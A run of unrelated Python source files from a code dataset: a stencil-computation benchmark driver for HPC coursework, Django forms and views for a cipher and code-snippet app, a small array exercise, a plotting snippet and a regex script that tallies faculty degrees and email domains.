#stencils_numpy.lapoflap3d,\r\n#)\r\nfrom functions import stencils_numba_vector_decorator\r\n\r\nfrom functions import stencils_numbaloop\r\n#(\r\n# laplacian1d, \r\n# laplacian2d,\r\n# laplacian3d,\r\n#) \r\nfrom functions import stencils_numbastencil \r\n#(\r\n# laplacian1d,\r\n# laplacian2d,\r\n# laplacian3d,\r\n# laplacian1d_numbastencil_help,\r\n# laplacian2d_numbastencil_help,\r\n# laplacian3d_numbastencil_help,\r\n#)\r\nfrom functions import stencils_numbavectorize\r\n#(\r\n# FMA,\r\n#) # , laplacian1d_numbavectorize\r\n\r\nfrom functions.halo_functions import update_halo, add_halo_points, remove_halo_points\r\n\r\n# from functions.gt4py_numpy import test_gt4py\r\n# import gt4py\r\n# import gt4py.gtscript as gtscript\r\n# import gt4py.storage as gt_storage\r\n\r\n# from functions.create_field import get_random_field\r\n# from functions.update_halo import update_halo\r\n# from functions.add_halo_points import add_halo_points\r\n# from functions.remove_halo_points import remove_halo_points\r\n\r\n\r\n@click.command()\r\n@click.option(\r\n \"--nx\", type=int, required=True, help=\"Number of gridpoints in x-direction\"\r\n)\r\n@click.option(\r\n \"--ny\", type=int, required=True, help=\"Number of gridpoints in y-direction\"\r\n)\r\n@click.option(\r\n \"--nz\", type=int, required=True, help=\"Number of gridpoints in z-direction\"\r\n)\r\n\r\n@click.option(\r\n \"--stencil_name\",\r\n type=str,\r\n required=True,\r\n help='Specify which stencil to use. Options are [\"test\", \"laplacian1d\", \"laplacian2d\",\"laplacian3d\",\"FMA\",\"lapoflap1d\", \"lapoflap2d\", \"lapoflap3d\", \"test_gt4py\"]',\r\n)\r\n@click.option(\r\n \"--backend\",\r\n type=str,\r\n required=True,\r\n help='Options are [\"numpy\", \"numbajit\", \"numbajit_inplace\", numbaloop\", \"numbastencil\", \"numbavectorize\", \"gt4py\"]',\r\n)\r\n@click.option(\r\n \"--num_halo\",\r\n type=int,\r\n default=2,\r\n help=\"Number of halo-pointers in x- and y-direction\",\r\n)\r\n@click.option(\r\n \"--plot_result\", type=bool, default=False, help=\"Make a plot of the result?\"\r\n)\r\n@click.option(\r\n \"--create_field\",\r\n type=bool,\r\n default=True,\r\n help=\"Create a Field (True) or Validate from saved field (False)\",\r\n)\r\n\r\n@click.option(\r\n \"--num_iter\",\r\n type=int,\r\n default=1,\r\n help=\"Number of iterations\",\r\n)\r\n\r\n\r\n@click.option(\r\n \"--field_name\",\r\n type=str,\r\n default=\"test\",\r\n help=\"Name of the testfield, that will be created or from which will be validated. File ending is added automatically.\",\r\n)\r\n@click.option(\r\n \"--df_name\",\r\n type=str,\r\n default=\"df\",\r\n help=\"Name of evaluation dataframe. A new name creates a new df, the same name adds a column to the already existing df.\",\r\n)\r\n\r\n@click.option(\r\n \"--save_runtime\",\r\n type=bool,\r\n default=False,\r\n help=\"Save the individual runtimes into a df.\",\r\n)\r\n\r\n@click.option('--backend_opts', type=(str, bool),default=('parallel',True))\r\n\r\n\r\ndef main(\r\n nx,\r\n ny,\r\n nz,\r\n backend,\r\n stencil_name,\r\n num_iter=1,\r\n num_halo=2,\r\n plot_result=False,\r\n create_field=True,\r\n field_name=\"test\",\r\n df_name=\"df\",\r\n save_runtime=False,\r\n backend_opts=('parallel',True)\r\n):\r\n \"\"\"Driver for high-level comparison of stencil computation. HPC4WC group 7 coursework.\"\"\"\r\n\r\n assert 0 < nx <= 1024 * 1024, \"You have to specify a reasonable value for nx\"\r\n assert 0 < ny <= 1024 * 1024, \"You have to specify a reasonable value for ny\"\r\n assert 0 < nz <= 1024, \"You have to specify a reasonable value for nz\"\r\n assert (\r\n 0 < num_iter <= 1024 * 1024\r\n ), \"You have to specify a reasonable value for num_iter\"\r\n assert (\r\n 0 < num_halo <= 256\r\n ), \"Your have to specify a reasonable number of halo points\"\r\n stencil_name_list = [\r\n \"test\",\r\n \"laplacian1d\",\r\n \"laplacian2d\",\r\n \"laplacian3d\",\r\n \"FMA\",\r\n \"lapoflap1d\",\r\n \"lapoflap2d\",\r\n \"lapoflap3d\",\r\n \"test_gt4py\",\r\n ]\r\n if stencil_name not in stencil_name_list:\r\n print(\r\n \"please make sure you choose one of the following stencil: {}\".format(\r\n stencil_name_list\r\n )\r\n )\r\n sys.exit(0)\r\n\r\n backend_list = [\"numpy\", \"numba_vector_function\", \"numba_vector_decorator\", \"numbaloop\", \"numbastencil\", \"numbavectorize\", \"gt4py\"]\r\n if backend not in backend_list:\r\n print(\r\n \"please make sure you choose one of the following backends: {}\".format(\r\n backend_list\r\n )\r\n )\r\n sys.exit(0)\r\n #alpha = 1.0 / 32.0\r\n #dim = 3\r\n\r\n # create field for validation\r\n if create_field == True:\r\n in_field = field_validation.create_new_infield(nx, ny, nz,field_name)\r\n \r\n if create_field == False:\r\n in_field = field_validation.create_val_infield(nx, ny, nz,field_name)\r\n \r\n\r\n # np.save('in_field', in_field)\r\n if plot_result:\r\n plt.ioff()\r\n plt.imshow(in_field[in_field.shape[0] // 2, :, :], origin=\"lower\")\r\n plt.colorbar()\r\n plt.savefig(\"in_field.png\")\r\n plt.close()\r\n\r\n # expand in_field to contain halo points\r\n in_field = add_halo_points(in_field, num_halo)\r\n in_field = update_halo(in_field, num_halo)\r\n\r\n # create additional fields\r\n in_field2 = np.ones_like(in_field)\r\n in_field3 = np.ones_like(in_field) * 4.2\r\n tmp_field = np.empty_like(in_field)\r\n\r\n#----\r\n #This could still be more elegant: choosing the backend_options!\r\n if (backend_opts[0]=='parallel'):\r\n parallel_opt=backend_opts[1]\r\n\r\n # warmup caches\r\n if backend == \"numpy\":\r\n if stencil_name == \"test\":\r\n stencils_numpy.test(in_field)\r\n\r\n if stencil_name == \"laplacian1d\":\r\n stencils_numpy.laplacian1d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n\r\n if stencil_name == \"laplacian2d\":\r\n stencils_numpy.laplacian2d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n\r\n if stencil_name == \"laplacian3d\":\r\n stencils_numpy.laplacian3d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n \r\n if stencil_name == \"FMA\":\r\n stencils_numpy.FMA(in_field, in_field2, in_field3, tmp_field, num_halo=num_halo, extend=0)\r\n \r\n if stencil_name == \"lapoflap1d\":\r\n stencils_numpy.lapoflap1d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n\r\n if stencil_name == \"lapoflap2d\":\r\n stencils_numpy.lapoflap2d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n\r\n if stencil_name == \"lapoflap3d\":\r\n stencils_numpy.lapoflap3d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n \r\n if backend == \"numba_vector_function\": \r\n if stencil_name == \"test\":\r\n numba_vector_test = numba.njit(stencils_numpy.test,parallel=parallel_opt)\r\n numba_vector_test(in_field)\r\n\r\n if stencil_name == \"laplacian1d\":\r\n numba_vector_laplacian=numba.njit(stencils_numpy.laplacian1d,parallel=parallel_opt)\r\n numba_vector_laplacian(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n\r\n if stencil_name == \"laplacian2d\":\r\n numba_vector_laplacian=numba.njit(stencils_numpy.laplacian2d,parallel=parallel_opt)\r\n numba_vector_laplacian(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n\r\n if stencil_name == \"laplacian3d\":\r\n numba_vector_laplacian=numba.njit(stencils_numpy.laplacian3d,parallel=parallel_opt)\r\n numba_vector_laplacian(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n \r\n if stencil_name == \"FMA\":\r\n numba_vector_FMA = numba.njit(stencils_numpy.FMA,parallel=parallel_opt)\r\n numba_vector_FMA(in_field, in_field2, in_field3, tmp_field, num_halo=num_halo, extend=0) \r\n \r\n if stencil_name == \"lapoflap1d\":\r\n numba_vector_laplap= numba.njit(stencils_numpy.lapoflap1d,parallel=parallel_opt)\r\n numba_vector_laplap(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n\r\n if stencil_name == \"lapoflap2d\":\r\n numba_vector_laplap= numba.njit(stencils_numpy.lapoflap2d,parallel=parallel_opt)\r\n numba_vector_laplap(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n\r\n if stencil_name == \"lapoflap3d\":\r\n numba_vector_laplap= numba.njit(stencils_numpy.lapoflap2d,parallel=parallel_opt)\r\n numba_vector_laplap(in_field, tmp_field, tmp_field, num_halo=2, extend=1) \r\n \r\n if backend == \"numba_vector_decorator\":\r\n if stencil_name == \"test\":\r\n stencils_numba_vector_decorator.test(in_field)\r\n\r\n if stencil_name == \"laplacian1d\":\r\n stencils_numba_vector_decorator.laplacian1d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n\r\n if stencil_name == \"laplacian2d\":\r\n stencils_numba_vector_decorator.laplacian2d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n\r\n if stencil_name == \"laplacian3d\":\r\n stencils_numba_vector_decorator.laplacian3d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n \r\n if stencil_name == \"FMA\":\r\n stencils_numba_vector_decorator.FMA(in_field, in_field2, in_field3, tmp_field, num_halo=num_halo, extend=0)\r\n \r\n if stencil_name == \"lapoflap1d\":\r\n stencils_numba_vector_decorator.lapoflap1d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n\r\n if stencil_name == \"lapoflap2d\":\r\n stencils_numba_vector_decorator.lapoflap2d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n\r\n if stencil_name == \"lapoflap3d\":\r\n stencils_numba_vector_decorator.lapoflap3d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n \r\n \r\n \r\n \r\n # if backend == \"numbajit_inplace\":\r\n # if stencil_name == \"laplacian1d\":\r\n # stencil = njit(stencils_numpy.laplacian1d)#, parallel=False, cache=False, fastmath=False)\r\n # stencil(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n # if stencil_name == \"laplacian2d\":\r\n # stencil = njit(stencils_numpy.laplacian2d)\r\n # stencil(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n # if stencil_name == \"laplacian3d\":\r\n # stencil = njit(stencils_numpy.laplacian3d,)\r\n # stencil(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n # if stencil_name == \"FMA\":\r\n # stencil = njit(stencils_numpy.FMA)\r\n # stencil(in_field, in_field2, in_field3, tmp_field, num_halo=num_halo, extend=0) \r\n \r\n if backend == \"numbaloop\":\r\n if stencil_name == \"laplacian1d\":\r\n stencils_numbaloop.laplacian1d(\r\n in_field, tmp_field, num_halo=num_halo, extend=0\r\n )\r\n \r\n if stencil_name == \"laplacian2d\":\r\n stencils_numbaloop.laplacian2d(\r\n in_field, tmp_field, num_halo=num_halo, extend=0\r\n )\r\n\r\n if stencil_name == \"laplacian3d\":\r\n stencils_numbaloop.laplacian3d(\r\n in_field, tmp_field, num_halo=num_halo, extend=0\r\n )\r\n\r\n if backend == \"numbastencil\":\r\n\r\n if stencil_name == \"laplacian1d\":\r\n stencils_numbastencil.laplacian1d(in_field)\r\n\r\n if stencil_name == \"laplacian2d\":\r\n stencils_numbastencil.laplacian2d(in_field)\r\n\r\n if stencil_name == \"laplacian3d\":\r\n stencils_numbastencil.laplacian3d(in_field)\r\n \r\n if backend == \"numbavectorize\":\r\n\r\n if stencil_name == \"FMA_numbavectorize\":\r\n stencils_numbavectorize.FMA(in_field, in_field2, in_field3)\r\n\r\n # if stencil_name == \"laplacian1d_numbavectorize\":\r\n # laplacian1d_numbavectorize( in_field)\r\n \r\n\r\n#----\r\n # time the actual work\r\n # Call the stencil chosen in stencil_name\r\n time_list = []\r\n for i in range(num_iter):\r\n if backend == \"numpy\":\r\n if stencil_name == \"test\":\r\n tic = time.time()\r\n out_field = stencils_numpy.test(in_field)\r\n toc = time.time()\r\n \r\n if stencil_name == \"laplacian1d\":\r\n tic = time.time()\r\n out_field = stencils_numpy.laplacian1d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n\r\n if stencil_name == \"laplacian2d\":\r\n tic = time.time()\r\n out_field = stencils_numpy.laplacian2d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n\r\n if stencil_name == \"laplacian3d\":\r\n tic = time.time()\r\n out_field = stencils_numpy.laplacian3d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n \r\n if stencil_name == \"FMA\":\r\n tic = time.time()\r\n out_field = stencils_numpy.FMA(\r\n in_field, in_field2, in_field3, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n \r\n if stencil_name == \"lapoflap1d\":\r\n tic = time.time()\r\n out_field = stencils_numpy.lapoflap1d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n toc = time.time()\r\n\r\n if stencil_name == \"lapoflap2d\":\r\n \r\n tic = time.time()\r\n out_field = stencils_numpy.lapoflap2d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n toc = time.time()\r\n\r\n if stencil_name == \"lapoflap3d\":\r\n tic = time.time()\r\n out_field = stencils_numpy.lapoflap3d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n toc = time.time()\r\n \r\n \r\n if backend == \"numba_vector_function\":\r\n if stencil_name == \"test\":\r\n tic = time.time()\r\n out_field = numba_vector_test(in_field)\r\n toc = time.time()\r\n \r\n if (stencil_name == \"laplacian1d\") or (stencil_name == \"laplacian2d\") or (stencil_name == \"laplacian3d\"):\r\n tic = time.time()\r\n out_field = numba_vector_laplacian(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n \r\n if stencil_name == \"FMA\":\r\n tic = time.time()\r\n out_field = numba_vector_FMA(\r\n in_field, in_field2, in_field3, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n \r\n if (stencil_name == \"lapoflap1d\") or (stencil_name == \"lapoflap2d\") or (stencil_name == \"lapoflap3d\"):\r\n tic = time.time()\r\n out_field = numba_vector_laplap(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n toc = time.time()\r\n \r\n\r\n if backend == \"numba_vector_decorator\":\r\n if stencil_name == \"test\":\r\n tic = time.time()\r\n out_field = stencils_numba_vector_decorator.test(in_field)\r\n toc = time.time()\r\n \r\n if stencil_name == \"laplacian1d\":\r\n tic = time.time()\r\n out_field = stencils_numba_vector_decorator.laplacian1d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n\r\n if stencil_name == \"laplacian2d\":\r\n tic = time.time()\r\n out_field = stencils_numba_vector_decorator.laplacian2d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n\r\n if stencil_name == \"laplacian3d\":\r\n tic = time.time()\r\n out_field = stencils_numba_vector_decorator.laplacian3d(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n \r\n if stencil_name == \"FMA\":\r\n tic = time.time()\r\n out_field = stencils_numba_vector_decorator.FMA(\r\n in_field, in_field2, in_field3, tmp_field, num_halo=num_halo, extend=0)\r\n toc = time.time()\r\n \r\n if stencil_name == \"lapoflap1d\":\r\n tic = time.time()\r\n out_field = stencils_numba_vector_decorator.lapoflap1d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n toc = time.time()\r\n\r\n if stencil_name == \"lapoflap2d\":\r\n \r\n tic = time.time()\r\n out_field = stencils_numba_vector_decorator.lapoflap2d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n toc = time.time()\r\n\r\n if stencil_name == \"lapoflap3d\":\r\n tic = time.time()\r\n out_field = stencils_numba_vector_decorator.lapoflap3d(in_field, tmp_field, tmp_field, num_halo=2, extend=1)\r\n toc = time.time() \r\n \r\n \r\n # if backend == \"numbajit_inplace\":\r\n # if stencil_name == \"laplacian1d\":\r\n # tic = time.time()\r\n # out_field = stencil(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n # toc = time.time()\r\n # if stencil_name == \"laplacian2d\":\r\n # tic = time.time()\r\n # out_field = stencil(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n # toc = time.time()\r\n # if stencil_name == \"laplacian3d\":\r\n # tic = time.time()\r\n # out_field = stencil(in_field, tmp_field, num_halo=num_halo, extend=0)\r\n # toc = time.time()\r\n # if stencil_name == \"FMA\":\r\n # tic = time.time()\r\n # out_field = stencil(in_field, in_field2, in_field3, tmp_field, num_halo=num_halo, extend=0) \r\n # toc = time.time()\r\n \r\n # if backend == \"numbaloop\":\r\n # if stencil_name == \"laplacian1d\":\r\n # tic = time.time()\r\n # out_field = stencils_numbaloop.laplacian1d(\r\n # in_field, tmp_field, num_halo=num_halo, extend=0\r\n # )\r\n # toc = time.time()\r\n\r\n # if stencil_name == \"laplacian2d\":\r\n # tic = time.time()\r\n # out_field = stencils_numbaloop.laplacian2d(\r\n # in_field, tmp_field, num_halo=num_halo, extend=0\r\n # )\r\n # toc = time.time()\r\n\r\n # if stencil_name == \"laplacian3d\":\r\n # tic = time.time()\r\n # out_field = stencils_numbaloop.laplacian3d(\r\n # in_field, tmp_field, num_halo=num_halo, extend=0\r\n # )\r\n # toc = time.time()\r\n\r\n # if backend == \"numbastencil\":\r\n # if stencil_name == \"laplacian1d\":\r\n # tic = time.time()\r\n # out_field = stencils_numbastencil.laplacian1d(in_field)\r\n # toc = time.time()\r\n\r\n # if stencil_name == \"laplacian2d\":\r\n # tic = time.time()\r\n # out_field = stencils_numbastencil.laplacian2d(in_field)\r\n # toc = time.time()\r\n\r\n # if stencil_name == \"laplacian3d\":\r\n # tic = time.time()\r\n # out_field = stencils_numbastencil.laplacian3d(in_field)\r\n # toc = time.time()\r\n\r\n # if backend == \"numbavectorize\":\r\n # if stencil_name == \"FMA\":\r\n # tic = time.time()\r\n # out_field = stencils_numbavectorize.FMA(in_field, in_field2, in_field3)\r\n # toc = time.time()\r\n # if stencil_name == \"laplacian1d_numbavectorize\":\r\n # tic = time.time()\r\n # laplacian1d_numbavectorize( in_field)\r\n # toc = time.time()\r\n\r\n if backend == \"gt4py\":\r\n \r\n if stencil_name == \"test_gt4py\":\r\n origin = (2, 2, 0) # What does this do???\r\n dtype = np.float64\r\n backend_opt = \"numpy\"\r\n in_storage = gt_storage.from_array(\r\n in_field, backend_opt, default_origin=origin, dtype=dtype \r\n )\r\n out_storage = gt_storage.from_array(\r\n tmp_field, backend_opt, default_origin=origin, dtype=dtype, \r\n )\r\n coeff_storage = gt_storage.from_array(\r\n in_field2, backend_opt, default_origin=origin, dtype=dtype,\r\n )\r\n tic = time.time()\r\n test_gt4py(in_storage, out_storage, coeff_storage)\r\n toc = time.time()\r\n \r\n \r\n time_list.append(toc - tic)\r\n \r\n \r\n time_avg = np.average(time_list)\r\n time_stdev = np.std(time_list)\r\n time_total = sum(time_list)\r\n\r\n \r\n \r\n print(\r\n \"Total worktime: {} s. In {} iteration(s) the average lapsed time for one run is {} +/- {} s\".format(\r\n time_total, num_iter, time_avg,time_stdev\r\n )\r\n )\r\n\r\n if num_iter >= 20:\r\n time_avg_first_10 = sum(time_list[0:10]) / 10\r\n time_avg_last_10 = sum(time_list[-11:-1]) / 10\r\n print(\r\n \"The average elapsed time of the first 10 run is {} and of the last 10 values is {}\".format(\r\n time_avg_first_10, time_avg_last_10\r\n )\r\n )\r\n else :\r\n time_avg_first_10 = np.nan\r\n time_avg_last_10 = np.nan\r\n \r\n\r\n # delete halo from out_field\r\n out_field = remove_halo_points(out_field, num_halo)\r\n\r\n # Save or validate Outfield\r\n if create_field == True:\r\n field_validation.save_new_outfield(out_field,field_name)\r\n valid_var = \"-\"\r\n\r\n if create_field == False:\r\n valid_var = field_validation.validate_outfield(out_field,field_name)\r\n # TODO: Save Elapsed Work Time in table for validation mode\r\n \r\n # Save individual runtimes\r\n if save_runtime:\r\n serialization.save_runtime_as_df(time_list)\r\n print('Runtime development saved in dataframe.')\r\n \r\n # Append row with calculated work to df \r\n serialization.add_data(df_name, stencil_name, backend, nx, ny, nz, valid_var, field_name, num_iter, time_total, time_avg, time_stdev, time_avg_first_10, time_avg_last_10)\r\n\r\n if plot_result:\r\n plt.imshow(out_field[out_field.shape[0] // 2, :, :], origin=\"lower\")\r\n plt.colorbar()\r\n plt.savefig(\"out_field.png\")\r\n plt.close()\r\n # TODO: print in and out field as pdf plot\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"stencil_main.py","file_name":"stencil_main.py","file_ext":"py","file_size_in_byte":23488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"63565188","text":"from django import forms\nfrom django.forms import ModelForm\nfrom .models import Encryption, Contact, User, CipherGame\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.utils.safestring import mark_safe\n\nENCRYPT = 'encrypt'\nDECRYPT = 'decrypt'\nencryption_choice = (\n (ENCRYPT ,'Encrypt'),\n (DECRYPT , 'Decrypt'),\n)\nclass EncryptionForm(forms.Form):\n encryption_name = forms.ChoiceField(choices = Encryption.ENCRYPTION_CHOICES, widget=forms.Select(attrs={'class': 'form-control'}),required = True, label = 'Encryption Name', initial = Encryption.ENCRYPTION_CHOICES[2][1])\n key = forms.CharField(required = False, label = 'Key', widget = forms.TextInput(attrs= {'class': 'form-control', }))\n action = forms.ChoiceField(choices = encryption_choice, widget= forms.RadioSelect(attrs= {'class': 'form-check-label', 'type': 'radio'}),required = True)\n message = forms.CharField( widget = forms.Textarea(attrs={'rows': 3, 'cols':20, 'class':'form-control'}), required = True, label = 'Message')\n result = forms.CharField(widget = forms.Textarea(attrs={'rows':3, 'cols': 20, 'class':'form-control'}), required = False, disabled = True, label = \"Result\")\n def clean_message(self):\n data = self.cleaned_data['message']\n return data\n def clean_key(self):\n data = self.cleaned_data['key']\n if data is not None and data.isnumeric():\n data = int(data)\n if data < 0:\n raise ValidationError(_('Invalid key- key must be greater than or equal to 0'))\n return data\n def clean_result(self):\n data = self.cleaned_data['result']\n return data\n\n\nclass ContactForm(ModelForm):\n def clean_name(self):\n data = self.cleaned_data['name']\n return data\n def clean_email(self):\n data = self.cleaned_data['email']\n return data\n def clean_subject(self):\n data = self.cleaned_data['subject']\n return data\n def clean_message(self):\n data = self.cleaned_data['message']\n return data\n def clean_image(self):\n data = self.cleaned_data['image']\n return data\n def clean_send_email(self):\n data = self.cleaned_data['send_email']\n return data\n class Meta:\n model = Contact\n labels = {'image': _('Upload Image')}\n help_texts = {'image': _('Please upload only immage files')} \n fields = '__all__'\n choice = [('Yes', 'Email Me A Copy of My Message')]\n #send_email = forms.ChoiceField(widget = forms.CheckboxSelectMultiple, choices = choice, required= False)\n send_email = forms.BooleanField(required = False, label = 'Email Me A Copy of My Message')\n\nclass SignUpForm(UserCreationForm):\n class Meta:\n model = User\n fields = ['first_name', 'last_name', 'email', 'username']\n\n\n\nclass CipherGameForm(forms.Form):\n YES = 'Yes'\n see_ans_choices = (\n (YES, 'Yes pls!'),\n )\n cipher_text = forms.CharField(disabled = True, label = 'Ciphertext', widget = forms.Textarea(attrs={'rows': 2, 'cols':20}))\n keys = forms.CharField(label = 'Keys Used', disabled= True, widget = forms.Textarea(attrs={'rows': 2, 'cols':20}), help_text= mark_safe(\"Use these keys to decrypt the cipher text. Note that the order you use the keys determine if you'll be successful or not\"))\n plain_text = forms.CharField(label = 'Plaintext', required = False, widget = forms.Textarea(attrs={'rows': 2, 'cols':20}))\n hint = forms.CharField(label= 'Hint', disabled = True, required= False,widget = forms.Textarea(attrs={'rows': 2, 'cols':20}))\n see_ans = forms.ChoiceField(choices = see_ans_choices, widget=forms.CheckboxSelectMultiple, required = False)\n encryptions_used = forms.CharField( widget = forms.Textarea(attrs={'rows': 3, 'cols':20}),disabled = True, required = False)\n \n\n def clean_cipher_text(self):\n data = self.cleaned_data['cipher_text']\n return data\n \n def clean_keys(self):\n data = self.cleaned_data['keys']\n return data\n\n def clean_plain_text(self):\n data = self.cleaned_data['plain_text']\n return data\n\n def clean_hint(self):\n data = self.cleaned_data['hint']\n return data\n\n def clean_see_as(self):\n data = self.cleaned_data['see_ans']\n return data\n\n def clean_encryptions_used(self):\n data = self.cleaned_data['encryptions_used']\n return data\n\n\n ","sub_path":"encrypt_decrypt_app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"460899118","text":"\"\"\"\nGiven an array with all distinct elements, find the largest three elements. Expected time complexity is O(n) and extra space is O(1). \nExamples :\n\nInput: arr[] = {10, 4, 3, 50, 23, 90}\nOutput: 90, 50, 23\n\"\"\"\n\ndef sol(arr):\n f,s,t=0,0,0\n for item in arr:\n if(item>f):\n t=s\n s=f\n f=item\n elif(item>s):\n t=s\n s=item\n elif(item>t):\n t=item\n return [f,s,t]\narr=[10, 4, 3, 50, 23, 90]\nprint(sol(arr))","sub_path":"Array problem/2.9.py","file_name":"2.9.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"418735539","text":"# 6th point\n\nfig, ax = plt.subplots()\n\necopetrol_pd = df_ecopetrol.toPandas()\navianca_pd = df_avianca.toPandas()\naval_pd = df_aval.toPandas()\n\necopetrol_pd.set_index('Date')\navianca_pd.set_index('Date')\naval_pd.set_index('Date')\n\nax.plot(ecopetrol_pd.Date, ecopetrol_pd.Close, label='Ecopetrol')\nax.plot(avianca_pd.Date, avianca_pd.Close, label='Avianca')\nax.plot(aval_pd.Date, aval_pd.Close, label='Aval')\n\nax.legend(loc='upper right')","sub_path":"Activity Windows - Pandas/6th_point.py","file_name":"6th_point.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"591222225","text":"import re\nimport csv\nfrom collections import Counter\n\n\ncsv_file = open('faculty.csv', 'r')\ninput_file = csv.reader(csv_file)\nnext(csv_file, None)\n\nfaculty_degrees = []\ntitles_list = []\nemail_list = []\ndomain_list = []\n\n# Create lists from csv file; Use regular expression to search for e-mail address\nemail_pattern = re.compile('([\\w\\.-]+@[\\w\\.-]+)')\nfor row in input_file:\n faculty_degrees.append(row[1])\n titles_list.append(row[2])\n for match in email_pattern.findall(row[3]):\n email_list.append(match)\n\n# strip leading and trailing spaces and split on spaces between degrees\nsplit_degrees = []\nfor d in faculty_degrees:\n d.strip()\n split_degrees.extend(d.split())\n\n# remove the periods from the degrees, so all degrees are spelled the same\nfinal_degrees = []\nfor s in split_degrees:\n new_s = re.sub('[\\.]', '', s)\n final_degrees.append(new_s)\n\n# remove the lowercase supporting words, i.e. of/in/etc., from the titles\ntitles_list = [' '.join(word for word in i.split() if not word.islower()) for i in titles_list]\n\n# search for the different domains in the e-mail addresses\nfor e in email_list:\n match = re.search(r'@.+', e)\n if match:\n domain_list += [match.group()]\n\n# convert lists to sets to calculate unique values, use Counter to find frequencies\nprint('There are', len(set(final_degrees)), 'different degrees.')\nprint('The frequency of each degree is:', Counter(final_degrees))\nprint('There are', len(set(titles_list)), 'different titles.')\nprint('The frequency of each title is:', Counter(titles_list))\nprint(email_list)\nprint('There are', len(set(domain_list)), 'different e-mail domains.')\nprint(set(domain_list))\n\n# Write e-mail list to a csv faculty_titles\noutput_file = open('emails.csv', 'w')\nwrite_file = csv.writer(output_file, lineterminator='\\n')\nfor row in email_list:\n write_file.writerow([row])\noutput_file.close()\n","sub_path":"python/advanced_python_regex.py","file_name":"advanced_python_regex.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"558131519","text":"import json\nfrom django.core import serializers\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Snippet, Category, User\nfrom .forms import AddSnippet, SearchForm\n\n# Create your views here.\ndef index(request):\n snippets = Snippet.objects.all()\n languages = Category.objects.all()\n snippets_json = [snippet for snippet in snippets.values()]\n for snippet in snippets_json:\n user_id = snippet.get('user_id')\n user = get_object_or_404(User, pk=user_id)\n user_name = user.username\n snippet['username'] = user_name\n category_id = snippet.get('category_id')\n category = get_object_or_404(Category, pk=category_id)\n category_name = category.language\n snippet['category'] = category_name\n print(type(snippets_json[0]))\n return render(request, 'core/index.html', {'snippets': snippets, 'languages': languages, 'snippets_json': snippets_json})\n\n\n@login_required\ndef add_snippet(request):\n user = request.user\n if request.method == 'GET':\n form = AddSnippet()\n else:\n form = AddSnippet(data=request.POST)\n if form.is_valid():\n new_snippet = form.save(commit=False)\n new_snippet.user = request.user\n new_snippet.save()\n return redirect(to='index')\n\n return render(request, 'core/add_snippet.html', {'form': form, 'user': user})\n\ndef snippet_details(request, pk):\n snippet = get_object_or_404(Snippet, pk=pk)\n form = AddSnippet()\n return render(request, 'core/snippet_details.html', {'snippet': snippet, 'form': form})\n\n@login_required\ndef edit_snippet(request, pk):\n snippet = get_object_or_404(Snippet, pk=pk)\n if request.method == 'GET':\n form = AddSnippet(instance=snippet)\n else:\n form = AddSnippet(data=request.POST, instance=snippet)\n if form.is_valid():\n form.save()\n return redirect(to='snippet_details', pk=pk)\n \n return render(request, 'core/edit_snippet.html', {'form': form, 'pk': pk})\n\n@login_required\ndef delete_snippet(request, pk):\n snippet = get_object_or_404(Snippet, pk=pk)\n if request.method == 'POST':\n snippet.delete()\n return redirect(to='index')\n \n return render(request, 'core/delete_snippet.html', {'snippet': snippet})\n\ndef search_results(request):\n snippets_json = {}\n if request.method == 'POST':\n search_term = 